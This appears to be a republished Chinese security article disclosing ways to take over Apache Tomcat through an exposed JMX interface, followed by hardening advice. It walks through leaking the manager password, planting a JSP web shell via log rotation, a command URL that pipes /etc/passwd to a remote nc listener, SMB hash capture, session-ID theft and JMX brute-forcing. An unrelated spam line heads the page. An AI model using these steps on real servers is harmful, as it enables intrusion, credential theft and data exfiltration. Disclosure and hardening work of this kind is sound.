自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

通過JMX訪問破壞Apache Tomcat

安全 網(wǎng)站安全
本文主要關(guān)注Tomcat服務(wù)器的一些配置問題,可以將Java管理擴(kuò)展(JMX)服務(wù)暴露到外部網(wǎng)絡(luò)中,來用于遠(yuǎn)程監(jiān)視和管理的目的。

通過JMX訪問破壞Apache Tomcat

一、前言

本文主要關(guān)注Tomcat服務(wù)器的一些配置問題,可以將Java管理擴(kuò)展(JMX)服務(wù)暴露到外部網(wǎng)絡(luò)中,來用于遠(yuǎn)程監(jiān)視和管理的目的。

通過使用Java開發(fā)工具包(JDK)中的JConsole工具,這些功能可能被攻擊者濫用來獲得系統(tǒng)的控制權(quán)限。

本文的編寫是為了來強(qiáng)調(diào)這種之前不為作者所知的新的攻擊方式,它與Tomcat服務(wù)器暴露的JMX接口有關(guān)。

希望在這里提供了足夠的信息,以利于提出阻止這種利用的有效的緩解措施并且?guī)椭鷿B透測(cè)試團(tuán)隊(duì)評(píng)估使用這種配置的Tomcat服務(wù)器的狀態(tài)。

本文討論的這個(gè)問題已經(jīng)提交給Tomcat團(tuán)隊(duì),被分類為程序的已知功能,并且目前沒有任何補(bǔ)丁提供。

總而言之,Tomcat指出:

  • Java JMX訪問相當(dāng)于admin/root訪問,其處理方式與對(duì)具有admin / root權(quán)限的機(jī)器的物理訪問相同。
  • 其他敏感的信息,比如session IDs,可通過JMX訪問,并且隱藏這些信息將嚴(yán)重降低JMX接口的實(shí)用性。
  • Tomcat文檔通常不涵蓋JMX的主題,但是在其他地方會(huì)涵蓋它。

任何讀者在閱讀本文后都應(yīng)該遵循第九節(jié)中的建議。

二、Tomcat的JMX服務(wù)

Apache Tomcat的JMX服務(wù)通常被用來通過網(wǎng)絡(luò)監(jiān)控和管理遠(yuǎn)程Tomcat

實(shí)例,通過Java遠(yuǎn)程方法調(diào)用(RMI)來與服務(wù)器交互。

這個(gè)服務(wù)默認(rèn)不開啟,與之相反的是其他常見的Java企業(yè)版的服務(wù)器(比如JBoss)是默認(rèn)配置開啟的。

為了開啟Tomcat的JMX服務(wù),需要在setenv.sh/setenv.bat做一些簡(jiǎn)單的修改,這個(gè)腳本是用來設(shè)置環(huán)境變量和Catalina進(jìn)程啟動(dòng)時(shí)的一些屬性。

JMX服務(wù)可以配置為支持認(rèn)證,但是它默認(rèn)不開啟。當(dāng)認(rèn)證被開啟(總是被推薦),它的授權(quán)模型允許訪問屬于只讀或讀寫角色的兩個(gè)不同的用戶。

網(wǎng)絡(luò)上關(guān)于JMX接口的配置信息很少且過時(shí)了。

例如,在下面的URL對(duì)應(yīng)的網(wǎng)頁(yè)的標(biāo)題為“監(jiān)視和管理Tomcat”,但是它的配置指導(dǎo)是基于java 6版本的:

http://tomcat.apache.org/tomcat-8.0-doc/monitoring.html#Enabling_JMX_Remote

這個(gè)指南的第一段開始有一段注釋:

“注釋:這個(gè)配置只在你需要遠(yuǎn)程監(jiān)控Tomcat時(shí)才開啟,如果只是本地監(jiān)視則不需要開啟,且需要使用啟動(dòng)Tomcat相同的用戶。”

這個(gè)快速指南包括認(rèn)證未開啟的簡(jiǎn)單配置。然后它建議需要認(rèn)證時(shí),修改配置來啟用上述的兩個(gè)角色且分配密碼。

指南中有意思的一個(gè)片段如下:

如果你需要認(rèn)證,添加并修改這個(gè):

  1. -Dcom.sun.management.jmxremote.authenticate=true 
  2. -Dcom.sun.management.jmxremote.password.file=../conf/jmxremote.password 
  3. -Dcom.sun.management.jmxremote.access.file=../conf/jmxremote.access 

編輯$CATALINA_BASE/conf/jmxremote.access文件:

  1. monitorRole readonly 
  2. controlRole readwrite 

編輯$CATALINA_BASE/conf/jmxremote.password文件:

  1. monitorRole tomcat 
  2. controlRole tomcat 

提示:密碼文件應(yīng)該是只讀的,只能用和運(yùn)行Tomcat相同的操作系統(tǒng)用戶來訪問。

如上所見,jmxremote.access文件包含兩個(gè)用戶名(monitorRole和controlRole)和他們相關(guān)的角色。在jmxremote.password文件中設(shè)置這些用戶的密碼。

對(duì)此服務(wù)始終建議啟用認(rèn)證,但快速指南不強(qiáng)調(diào)此功能。

這個(gè)指南不強(qiáng)調(diào)為只讀和讀寫用戶設(shè)置強(qiáng)密碼的重要性。這就是為什么在現(xiàn)場(chǎng)滲透測(cè)試期間,這個(gè)接口經(jīng)常被發(fā)現(xiàn)沒有配置認(rèn)證或者使用了與指南建議類似的弱密碼。

三、決定是否啟用Tomcat的JMX接口

通常需要使用nmap進(jìn)行掃描,來確認(rèn)與Tomcat關(guān)聯(lián)的JMX接口是否已啟動(dòng)并在遠(yuǎn)程服務(wù)器上運(yùn)行。

在這種情況下強(qiáng)烈建議使用--version-all和-A標(biāo)志,因?yàn)樗鼤?huì)告訴nmap觸發(fā)附加探測(cè)器來檢測(cè)非標(biāo)準(zhǔn)端口上JMX接口的存在。

例如,假設(shè)使用以下命令行掃描Tomcat服務(wù)器:

  1. >nmap -p- -sV -A 192.168.11.128 -n 
  2. Nmap scan report for 192.168.11.128 
  3. Host is up (0.00028s latency). 
  4. Not shown: 65521 closed ports 
  5. PORT STATE SERVICE VERSION 
  6. ... 
  7. 2001/tcp open dc? 
  8. ... 
  9. 8009/tcp open ajp13 Apache Jserv (Protocol v1.3) 
  10. |_ajp-methods: Failed to get a valid response for the OPTION request 
  11. 8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1 
  12. |_http-favicon: Apache Tomcat 
  13. |_http-open-proxy: Proxy might be redirecting requests 
  14. |_http-server-header: Apache-Coyote/1.1 
  15. |_http-title: Apache Tomcat/8.0.39 
  16. ... 
  17. 49222/tcp open unknown 

為了簡(jiǎn)單起見,上面的掃描結(jié)果僅包括與Tomcat相關(guān)的端口。可以看到,端口2001/tcp和端口49222/tcp未明確標(biāo)識(shí)。

然而,添加--version-all標(biāo)志將顯示更多有趣的信息:

  1. >nmap -p- -A -sV --version-all 192.168.11.128 
  2. Nmap scan report for 192.168.11.128 
  3. Host is up (0.00032s latency). 
  4. Not shown: 65521 closed ports 
  5. PORT STATE SERVICE VERSION 
  6. ... 
  7. 2001/tcp open java-rmi Java RMI Registry 
  8. | rmi-dumpregistry: 
  9. | jmxrmi 
  10. | implements javax.management.remote.rmi.RMIServer, 
  11. | extends 
  12. | java.lang.reflect.Proxy 
  13. | fields 
  14. | Ljava/lang/reflect/InvocationHandler; h 
  15. | java.rmi.server.RemoteObjectInvocationHandler 
  16. | @192.168.11.128:2001 
  17. | extends 
  18. |_ java.rmi.server.RemoteObject 
  19. ... 
  20. 8009/tcp open ajp13 Apache Jserv (Protocol v1.3) 
  21. |_ajp-methods: Failed to get a valid response for the OPTION request 
  22. 8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1 
  23. |_http-favicon: Apache Tomcat 
  24. |_http-open-proxy: Proxy might be redirecting requests 
  25. |_http-server-header: Apache-Coyote/1.1 
  26. |_http-title: Apache Tomcat/8.0.39 
  27. ... 
  28. 49222/tcp open rmiregistry Java RMI 

在這種情況下,JMX服務(wù)被配置為在非標(biāo)準(zhǔn)端口2001/tcp而不是端口1099/tcp上運(yùn)行,1099/tcp通常被這種服務(wù)的優(yōu)先選擇。

此外,應(yīng)當(dāng)注意的是當(dāng)JMX接口運(yùn)行時(shí),運(yùn)行Java RMI的隨機(jī)端口也可用于Tomcat。從客戶端/攻擊者角度來看,能夠連接此端口也很重要。

也就是說,單獨(dú)使用nmap無法確定Tomcat JMX接口是否啟用認(rèn)證。

四、使用JConsole連接JMX服務(wù)

如果你使用Windows,JConsole是JDK中的一個(gè)小的可執(zhí)行文件,存儲(chǔ)在bin文件夾中。啟動(dòng)后主界面如下圖:

Jconsole主界面

圖1 – Jconsole主界面

JConsole也在Linux版的JDK中提供,且在Kali中找到如下圖:

Kali中的JConsole

圖2 – Kali中的JConsole

如果逆向遠(yuǎn)程連接到Tomcat JMX接口,選擇Remote Process選項(xiàng)且輸入目標(biāo)的IP地址加端口號(hào)。點(diǎn)擊Connect按鈕:

設(shè)置目標(biāo)

圖3 – 設(shè)置目標(biāo)

JConsole能夠檢測(cè)到SSL是否開啟,并且顯示如下提示:

目標(biāo)中的SSL沒有開啟

圖4 – 目標(biāo)中的SSL沒有開啟

單擊Insecure connection按鈕繼續(xù)。當(dāng)啟用認(rèn)證,通常會(huì)顯示以下提示:

 認(rèn)證啟動(dòng)的提示

圖5 – 認(rèn)證啟動(dòng)的提示

在這種情況下,您應(yīng)該使用username和password文本框輸入一些有效的憑據(jù)。請(qǐng)注意,也可能由于其他原因獲得連接失敗錯(cuò)誤。

連接失敗的常見原因之一是由于攻擊者和服務(wù)器之間的防火墻。此防火墻可能配置為阻止傳入流量到由Tomcat啟動(dòng)的其他Java RMI進(jìn)程使用的端口(例如,上面nmap掃描輸出中列出的49222/tcp)。

使用您喜歡的網(wǎng)絡(luò)嗅探器進(jìn)行流量捕獲,以了解“連接失敗”錯(cuò)誤是否與認(rèn)證相關(guān)。

在下面的示例中,Tomcat JMX服務(wù)器(運(yùn)行于192.168.11.128)正在返回包含認(rèn)證失敗錯(cuò)誤的RMI消息:

認(rèn)證失敗-暗示需要認(rèn)證憑據(jù)

圖6 – 認(rèn)證失敗-暗示需要認(rèn)證憑據(jù)

請(qǐng)注意,上面的錯(cuò)誤包括需要憑據(jù)的字符串,表示在JConsole初始屏幕中未指定任何憑據(jù)。

在輸入一些憑據(jù)時(shí)返回不同的錯(cuò)誤消息:

不可靠的用戶名和密碼

圖7 – 不可靠的用戶名和密碼

如果未啟用認(rèn)證(這在某些內(nèi)部網(wǎng)絡(luò)滲透測(cè)試中可能是正確的),顯示如下:

http://p6.qhimg.com/t010f2ab93a43f799d7.jpg

圖8 – Jconsole連接到遠(yuǎn)程的Tomcat JMX接口

事情開始變的有趣。

從這一點(diǎn)開始,我們將考慮攻擊者能夠識(shí)別一個(gè)監(jiān)聽的Tomcat JMX接口并可以使用JConsole連接到它的情況。這是可能的,因?yàn)檎J(rèn)證未啟用,或者因?yàn)楣粽吣軌虿碌揭恍┯行У膽{據(jù)。

五、使用JMX讀取Tomcat管理器的密碼

假設(shè)Tomcat啟用了管理器應(yīng)用程序,但是沒有使用任何弱憑據(jù)(如admin/admin或tomcat/manager)。假設(shè)攻擊者試圖使用自動(dòng)腳本來強(qiáng)制一個(gè)有效的密碼而不成功。

在這里,可能得出沒有方法發(fā)現(xiàn)管理器密碼的結(jié)論。

事實(shí)上,有一個(gè)簡(jiǎn)單的方法,在忽略密碼強(qiáng)度的情況下恢復(fù)密碼,在寫文章的這一刻,這個(gè)技術(shù)還沒有參考。

這個(gè)方法是在你的機(jī)器上面啟動(dòng)JConsole并且指向遠(yuǎn)程的Tomcat JMX服務(wù)器。選擇MBeans選項(xiàng)卡:

選擇MBeans

圖9 – 選擇MBeans

之后顯示如下:

Mbeans

圖10 – Mbeans

展開Users目錄,且選擇下面的節(jié)點(diǎn):

1Users->User->”manager”->UserDatabase->Attributes

你應(yīng)該能夠看見類似下面的一些東西,這些暗示了憑據(jù):

 泄漏的Tomcat管理器的用戶名和密碼

圖11 – 泄漏的Tomcat管理器的用戶名和密碼

在這里,你能使用發(fā)現(xiàn)的憑據(jù)來連接到遠(yuǎn)程Tomcat管理器,以控制服務(wù)器。

六、日志循環(huán)函數(shù)中的目錄遍歷

如果你已經(jīng)看到了這里,你已經(jīng)有了一個(gè)好且簡(jiǎn)單的方法來訪問Tomcat管理器,來破環(huán)底層服務(wù)器。

執(zhí)行此操作的典型方法是部署簡(jiǎn)單的Web應(yīng)用程序存檔(WAR),包括允許執(zhí)行操作系統(tǒng)(OS)命令的代碼,然后調(diào)查服務(wù)器上的內(nèi)容。

如果服務(wù)器在Windows上運(yùn)行,則大多數(shù)時(shí)間它將作為SYSTEM或管理員運(yùn)行。因此,你的操作系統(tǒng)命令將在最高權(quán)限級(jí)別運(yùn)行。

但是,如果由于某些原因Tomcat管理器不在那里怎么辦?

雖然在內(nèi)部網(wǎng)絡(luò)中部署的服務(wù)器則不可能是這種情況,但是仍然有可能,因此我們需要另一種方法來瀏覽服務(wù)器,假設(shè)我們?nèi)匀荒軌蜻B接Tomcat JMX接口。

日志循環(huán)函數(shù)

在大量的具有寫權(quán)限的Tomcat JMX MBeans操作中,有一個(gè)顯示了有趣的行為。當(dāng)JMX服務(wù)沒有配置支持認(rèn)證時(shí),這個(gè)特別的功能也能訪問。下面是它的Java特征:

  1. boolean rotate(string newFileName) 

上面的特征在下面的節(jié)點(diǎn)提供:

  1. Catalina->Valve->localhost->AccessLogValve->Operations 

這表明rotate函數(shù)用于備份Tomcat訪問日志到服務(wù)器上的文件中。

為了證明這個(gè),下載了運(yùn)行Tomcat8.0.39的Bitnami Linux VM。然后配置服務(wù)器來公開JMX端口,以便允許使用JConsole進(jìn)行連接。最后totate函數(shù)用此位置指定文件:

  1. /tmp/test.log 

完成這個(gè)過程后,下面的確認(rèn)消息由服務(wù)器返回:

http://p5.qhimg.com/t01dc7c9306e96b4e19.jpg

圖12 – ‘True’確認(rèn)消息被執(zhí)行

可以確認(rèn)test.log文件在tmp目錄中。直到rotate函數(shù)被調(diào)用,目錄的內(nèi)容是Tomcat訪問日志。

  1. bitnami@ubuntu:/tmp$ cat /tmp/test.log 
  2. 192.168.11.1 - - [08/Dec/2016:14:50:42 +0000] "GET /test-log-request HTTP/1.1" 404 1026 
  3. bitnami@ubuntu:/tmp$ 

在服務(wù)器上面執(zhí)行OS命令

正如上一節(jié)討論的,rotate函數(shù)允許在服務(wù)器的任意目錄中存儲(chǔ)文件。它還將允許選擇該文件的任意擴(kuò)展。

這意味著,作為一個(gè)攻擊者,我們?yōu)E用它來在Tomcat提供網(wǎng)絡(luò)服務(wù)的目錄中創(chuàng)建一個(gè)Java Servlet Page(JSP)文件。在這里我們的目標(biāo)創(chuàng)建包含JSP指令的文件來在服務(wù)器上面執(zhí)行命令。

為了實(shí)現(xiàn)這個(gè),我們首先需要的是使用在URL中包含有效的JSP代碼的請(qǐng)求來破環(huán)Tomcat訪問日志。

例如,使用Burp Suite Repeater來發(fā)送下面的請(qǐng)求。注意在這個(gè)例子中,我們測(cè)試的Tomcat運(yùn)行在80/tcp端口:

http://p5.qhimg.com/t01d2b500d8cf2d76f1.jpg

圖13 – 發(fā)送的請(qǐng)求

現(xiàn)在我們需要的是找到一個(gè)可靠的路徑來存放我們的使用rotate函數(shù)的JSP文件。關(guān)于這個(gè)我們能利用JConsole界面中的一些信息。

VM的Summary選項(xiàng)卡能提供一些關(guān)于catalina.base屬性的信息。這個(gè)選項(xiàng)卡包含一個(gè)節(jié)(在窗口底部),顯示了Java VM的參數(shù)。

例子顯示如下:

catalina.base文件夾

圖14 – catalina.base文件夾

Catalina.base目錄應(yīng)該返回一個(gè)webapps文件夾,其中是Tomcat提供的各種網(wǎng)絡(luò)服務(wù)。

部署在服務(wù)器上的網(wǎng)絡(luò)應(yīng)用可以在MBeans選項(xiàng)卡中看到。

下面的截圖是Tomcat服務(wù)器默認(rèn)的應(yīng)用的例子:

Tomcat上默認(rèn)的應(yīng)用

圖15 – Tomcat上默認(rèn)的應(yīng)用

將cataline.base目錄的信息和Tomcat上的應(yīng)用列表放在一起,找到存儲(chǔ)我們JSP文件的目錄還是可能的。

例如,一個(gè)test.jsp文件存儲(chǔ)在/docs文件夾中:

  1. /opt/bitnami/apache-tomcat/webapps/docs/test.jsp 

在這里,上面的路徑可以和rotate函數(shù)一起使用:

http://p0.qhimg.com/t019f3ca91e32235747.jpg

圖16 – test.jsp文件被創(chuàng)建

我們能打開瀏覽器并運(yùn)行一個(gè)命令。在下面的截圖中一個(gè)命令被執(zhí)行,用來把/etc/passwd的內(nèi)容粘帖到nc客戶端中,繼而連接一個(gè)遠(yuǎn)程監(jiān)聽器:

http://p4.qhimg.com/t014d0f890cb6fe6648.jpg

圖17 – 遠(yuǎn)程服務(wù)器上面的數(shù)據(jù)

作為參考,執(zhí)行命令的URL顯示如下:    

  1. http://192.168.11.141/docs/test.jsp?cmd=sh%20-c%20$@|sh%20.%20echo%20/bin/cat%20/etc/passwd%20|%20nc%20192.168.11.136%208080 

這包括一些調(diào)整,允許使用管道將輸出從一個(gè)命令重定向到另一個(gè)命令。

如果需要,目前為止的web shell也可以用來執(zhí)行wget命令,并從遠(yuǎn)程機(jī)器上面下載一個(gè)更多功能的JSP shell。

捕獲SMB challenge-responses hashes

正如已經(jīng)討論的,如果你的Tomcat服務(wù)器在Windows上面運(yùn)行,意味著通過JSP shell執(zhí)行的命令和通過rotate函數(shù)創(chuàng)建的命令將以最高權(quán)限運(yùn)行。

然而,有時(shí)可能出現(xiàn)不正確的情況,且服務(wù)器運(yùn)行在域賬戶。如果那種情況,捕獲SMB challenge-responses和破解他們是可能的。Rotate函數(shù)也在這里使用。

為了測(cè)試攻擊場(chǎng)景,Kali虛擬機(jī)可以用來啟動(dòng)Metasploit SMB capture auxiliary module。

使用JConsole執(zhí)行JMX連接,并且使用下面的參數(shù)使用rotate函數(shù):

  1. \\192.168.11.136\test 

在這種情況,上面的IP地址是Kali虛擬機(jī)。下面的截圖確認(rèn)了Tomcat向遠(yuǎn)程IP發(fā)送了一個(gè)請(qǐng)求,能夠3次捕獲SMB challenge:

捕獲的SMB challenge response

圖18 – 捕獲的SMB challenge response

通過創(chuàng)建其他文件類型來進(jìn)行client-side攻擊

注意,rotate函數(shù)也能用來創(chuàng)建敏感文件(如HTML文件),并且在網(wǎng)絡(luò)應(yīng)用中存儲(chǔ)他們,以便執(zhí)行跨站腳本攻擊。

這個(gè)涉及到,重復(fù)上述步驟,使用可靠的HTML代碼污染日志文件,然后在Tomcat網(wǎng)絡(luò)應(yīng)用程序目錄中存儲(chǔ)一個(gè)HTML文件。

http://p2.qhimg.com/t0118c4acd68b2fdc45.jpg

圖19 – html文件

七、抓取網(wǎng)絡(luò)應(yīng)用的用戶的session ID

另外的Tomcat JMX操作能被攻擊者利用來劫持Tomcat網(wǎng)絡(luò)應(yīng)用的用戶的會(huì)話,lisrSessionIds()在下面的節(jié)點(diǎn)顯示:

1Catalina->Manager->[ApplicationName]->Operations->listSessionIds()

這個(gè)操作通??捎糜赥omcat上部署的每個(gè)網(wǎng)絡(luò)應(yīng)用中,且如名稱所示,能返回連接應(yīng)用的用戶的所有的JSESSIONID。

例如,下面的截圖顯示了連接管理器應(yīng)用的用戶的session ID:

http://p4.qhimg.com/t01e98a32f499919967.jpg

 

通過Tomcat JMX服務(wù)可用的操作之一將允許檢索JSESSIONID cookie值,因此可能允許攻擊者通過劫持他們的會(huì)話來假冒另一個(gè)用戶。

注意,由于需要該帳戶的有效用戶名和密碼,因此無法利用此問題訪問管理器應(yīng)用程序。然而,部署在服務(wù)器上的其他應(yīng)用程序(例如支持基于JSESSIONID cookie的認(rèn)證的應(yīng)用程序)會(huì)受到影響。

能夠運(yùn)行l(wèi)istSessionIds()數(shù)的攻擊者將能夠劫持另一個(gè)用戶的會(huì)話。

注意,listSessionIds()是另一個(gè)操作,它只對(duì)具有寫入權(quán)限的JMX用戶可用。

如果JMX服務(wù)器配置為允許未經(jīng)認(rèn)證的訪問,那么它仍然可以使用。

八、暴力破解進(jìn)入Tomcat JMX

當(dāng)Tomcat JMX服務(wù)配置為啟用認(rèn)證并且使用強(qiáng)密碼時(shí),仍有可能獲得未經(jīng)授權(quán)的訪問。

實(shí)際上,為此服務(wù)實(shí)現(xiàn)的認(rèn)證過程在登錄失敗后不會(huì)鎖定帳戶,因此容易受到暴力密碼破解攻擊。

PoC工具(jmxbf)已經(jīng)由作者開發(fā)來演示這個(gè)。

使用例子如下:

  1. $>Usage:  
  2. java -jar jmxbf.jar 
  3. -h,--host <arg> The JMX server IP address. 
  4.  -p,--port <arg> The JMX server listening port. 
  5.  -pf,--passwords-file <arg> File including the passwords, one per line. 
  6.  -uf,--usernames-file <arg> File including the usernames, one per line. 

Example:

  1. $>java –jar jmxbf.jar –h 192.168.20.1 –p 1099 –uf usernames.txt –pf passwords.txt 

一些例子輸出如下:

  1. $>java –jar jmxbf.jar –h 192.168.20.1 –p 1099 –uf usernames.txt –pf passwords.txt 
  2. Auth failed!!! 
  3. Auth failed!!! 
  4. Auth failed!!! 
  5. . . . 
  6. Auth failed!!! 
  7. Auth failed!!! 
  8. ###SUCCESS### - We got a valid connection for: control:supersecretpwd 
  9. Found some valid credentials - continuing brute force 
  10. .... 
  11. ###SUCCESS### - We got a valid connection for: monitor:monitor 
  12. Found some valid credentials - continuing brute force 
  13. Auth failed!!! 
  14. Auth failed!!! 
  15. Auth failed!!! 
  16. Auth failed!!! 
  17. . . . 
  18. Auth failed!!! 
  19. Auth failed!!! 
  20. Auth failed!!! 
  21. The following valid credentials were found: 
  22. control:supersecretpwd 
  23. monitor:monitor 

這個(gè)工具通過github可以下載到:https://github.com/nccgroup/jmxbf 。

九、其他問題?

正如已經(jīng)提到的,MBeans操作的大列表和屬性能提供給連接Tomcat JMX服務(wù)的用戶使用??赡苓€有其他函數(shù),可以使用與上面討論的rotate函數(shù)問題所示的類似的方式。

深入研究才能確定。

如果由于強(qiáng)大的認(rèn)證措施讓你無法訪問Tomcat JMX控制臺(tái),則仍然有潛在的方法來破壞服務(wù)器。

Tomcat最近修補(bǔ)了兩個(gè)與Java反序列化相關(guān)的漏洞,如果暴露了JMX服務(wù)器,可以利用這些漏洞:

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-3427

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-8735

本文不討論這些漏洞的細(xì)節(jié),但是卻可以說如果你的Tomcat運(yùn)行在老版本的Java系統(tǒng)中,是可能通過發(fā)送特定的包到JMX服務(wù)器來實(shí)現(xiàn)RCE。

進(jìn)一步研究后再發(fā)布新文。

十、建議

有很多可以實(shí)現(xiàn)的建議,來保護(hù)有本文討論的問題的Tomcat服務(wù)器。

首先,建議對(duì)JMX服務(wù)的訪問使用防火墻。只有列入白名單的IP地址才能連接。

然而,應(yīng)該始終啟用強(qiáng)密碼的認(rèn)證。下面是在Windows使用setenv.bat啟動(dòng)認(rèn)證的例子:

  1. SET JAVA_HOME={replace with full path to Java JDK} 
  2. SET JRE_HOME=%JAVA_HOME% 
  3. SET JAVA_OPTS=%JAVA_OPTS% -Xms256m -Xmx512m -XX:MaxPermSize=256m -server 
  4. SET CATALINA_OPTS=-Dcom.sun.management.jmxremote  
  5. -Dcom.sun.management.jmxremote.port=1099  
  6. -Dcom.sun.management.jmxremote.rmi.port=1099  
  7. -Dcom.sun.management.jmxremote.ssl=true  
  8. -Dcom.sun.management.jmxremote.local.only=false  
  9. -Djava.rmi.server.hostname={replace with Tomcat server IP address} 
  10. SET CATALINA_OPTS=%CATALINA_OPTS%  
  11. -Dcom.sun.management.jmxremote.authenticate=true  
  12. -Dcom.sun.management.jmxremote.password.file=%CATALINA_BASE%/conf/jmxremote.password  
  13. -Dcom.sun.management.jmxremote.access.file=%CATALINA_BASE%/conf/jmxremote.access 

下面是Linux下面使用setenv.sh的例子:

  1. JAVA_HOME={replace with full path to Java JDK} 
  2. JRE_HOME=$JAVA_HOME 
  3. JAVA_OPTS="-Djava.awt.headless=true -XX:+UseG1GC -Dfile.encoding=UTF-8 $JAVA_OPTS " 
  4. JAVA_OPTS="-XX:MaxPermSize=256M -Xms256M -Xmx512M $JAVA_OPTS "  
  5. CATALINA_OPTS="-Dcom.sun.management.jmxremote  
  6. -Dcom.sun.management.jmxremote.port=1099  
  7. -Dcom.sun.management.jmxremote.rmi.port=1099  
  8. -Dcom.sun.management.jmxremote.ssl=true  
  9. -Dcom.sun.management.jmxremote.local.only=false  
  10. -Djava.rmi.server.hostname={replace with Tomcat server IP address}  
  11. -Dcom.sun.management.jmxremote.authenticate=true  
  12. -Dcom.sun.management.jmxremote.password.file=../conf/jmxremote.password  
  13. -Dcom.sun.management.jmxremote.access.file=../conf/jmxremote.access"  
  14. export JAVA_HOME 
  15. export JRE_HOME 
  16. export JAVA_OPTS 
  17. export CATALINA_OPTS 

SSL也應(yīng)該開啟,以保護(hù)認(rèn)證過程中憑據(jù)嗅探攻擊。

注意,在上述所有的配置中,jmxremote.ssl變量設(shè)為true。

然而,沒有包括正確啟用SSL其他的一些變量。需要的其他配置步驟在這里不再詳述。

下面的URL包含了這個(gè)任務(wù)的參考信息:

https://db.apache.org/derby/docs/10.10/adminguide/radminjmxenablepwdssl.html

https://www.ibm.com/support/knowledgecenter/SSYMRC_6.0.1/com.ibm.jazz.repository.web.admin.doc/topics/t_server_mon_tomcat_option3.html

強(qiáng)烈推薦為只讀和讀寫用戶在jmxremote.password文件中設(shè)置高強(qiáng)度密碼保護(hù)。這些應(yīng)該與Tomcat管理器不同。

并且,考慮為所有用戶選擇不常用的用戶名。

另外,只有Tomcat用戶才被允許讀取jmxremote.password文件。如果檢測(cè)到這個(gè)文件的讀權(quán)限太寬松,Tomcat將不會(huì)啟動(dòng)。

下面的命令能被用來在Windows上面設(shè)置這些權(quán)限:

  1. cacls jmxremote.password /P [username]:R 

盡管JMX訪問等同于admin/root訪問,如果一個(gè)人能夠以只讀用戶身份訪問JMX服務(wù),那么仍然可能看到Tomcat管理器用戶名和密碼。

的確,只讀用戶將不被允許運(yùn)行任何JMX操作,但他們?nèi)匀荒軌蛟L問一個(gè)敏感的信息,在大多數(shù)情況下,將導(dǎo)致Tomcat服務(wù)器的破環(huán)。

關(guān)于rotate函數(shù)的問題,作者認(rèn)為應(yīng)該嚴(yán)格的控制,以避免Tomcat JMX服務(wù)器在服務(wù)器上可用的任何文件夾上創(chuàng)建具有任何擴(kuò)展名的日志文件。

通過這個(gè)函數(shù)創(chuàng)建的日志文件只能在Tomcat日志文件夾中創(chuàng)建,并且無法使用URL訪問。

最后,考慮在系統(tǒng)上存儲(chǔ)一個(gè)哈希版本的Tomcat管理器密碼(因?yàn)檫@個(gè)哈希將在JMX屬性中可見)而不是純文本版本。

注意,這是我們從Tomcat收到的一個(gè)建議,同時(shí)討論了JMX只讀用戶能夠讀取管理器的密碼的問題。然而,這種情況下如果用戶名還是明文,攻擊者可以使用離線密碼破解工具破解密碼。

下面的URL包含了存儲(chǔ)哈希版本密碼的一些參考:

https://tomcat.apache.org/tomcat-8.0-doc/realm-howto.html#Digested_Passwords

http://www.jdev.it/encrypting-passwords-in-tomcat/

https://leanjavaengineering.wordpress.com/2011/02/04/tomcat-digested-passwords/

下面是digest工具的使用例子:

  1. digest.bat -s 0 -i 1 themanagersecretpassword 

將輸出明文和加密的憑據(jù):

  1. themanagersecretpassword:42052cec2459a6b4c383f2c43698d0528fe3f39756f8524763fc9e2997e77ebf1f1ba9bc0926b7395e32bb796e4ec0c1045e96c15c1edb510c2e295a5c11b095 

注意,在上面的例子中,-s和-i參數(shù)分別用于設(shè)置salt的長(zhǎng)度和迭代次數(shù)。

Digest工具還接受-a參數(shù),來指定哈希算法。

根據(jù)Tomcat的推薦,當(dāng)不使用-a參數(shù),則默認(rèn)使用SHA-512。

另外,應(yīng)該注意不帶-s和-i參數(shù)使用digest,將返回{salt}${iterations}${digest}格式的輸出,例子如下:

  1. >digest.bat themanagersecretpassword 
  2. themanagersecretpassword:92cd45d5db0f5794c794bf4fb0cc975347978d53673ec3c946a28c199c209995$1$a27648ca5671b33692ebb95a80720903dfd50b13da649b1d703ffc0260b2194ddec21616528bf4f6a99fb6b8fa724c6c518c2c45125b135b82c2ec16b060cb2f 

上述的例子,關(guān)于salt的長(zhǎng)度(字節(jié))和迭代次數(shù),使用默認(rèn)值。

責(zé)任編輯:趙寧寧 來源: 安全客
相關(guān)推薦

2010-05-28 11:33:44

SVN代碼庫(kù)

2011-04-07 09:06:31

Tomcat

2013-04-26 10:59:54

目錄遍歷漏洞

2012-05-18 15:52:49

JavaApacheTomcat

2012-05-30 10:09:57

ApacheTomcat

2011-02-25 11:16:38

ApacheTomcat

2011-12-07 10:34:29

JavaTomcat

2023-09-04 00:05:27

JMX管理組件

2013-08-08 10:09:22

ApacheTomcatJavaEE 7

2014-04-18 09:55:49

Tomcat 8NIO 2

2009-07-06 17:49:02

Apache的配置JBoss的配置

2010-11-22 11:35:17

2011-03-15 08:54:43

2009-11-30 17:37:20

Linux Apach

2010-06-02 13:05:52

tomcat和svn

2020-07-21 14:35:44

Servlet容器ApacheTomcat

2012-02-22 09:22:26

ApacheTomcat

2011-04-18 10:04:24

apachetomcat

2019-09-03 15:36:58

ApacheTomcat配置

2020-07-08 13:46:27

ApacheTomcat配置
點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)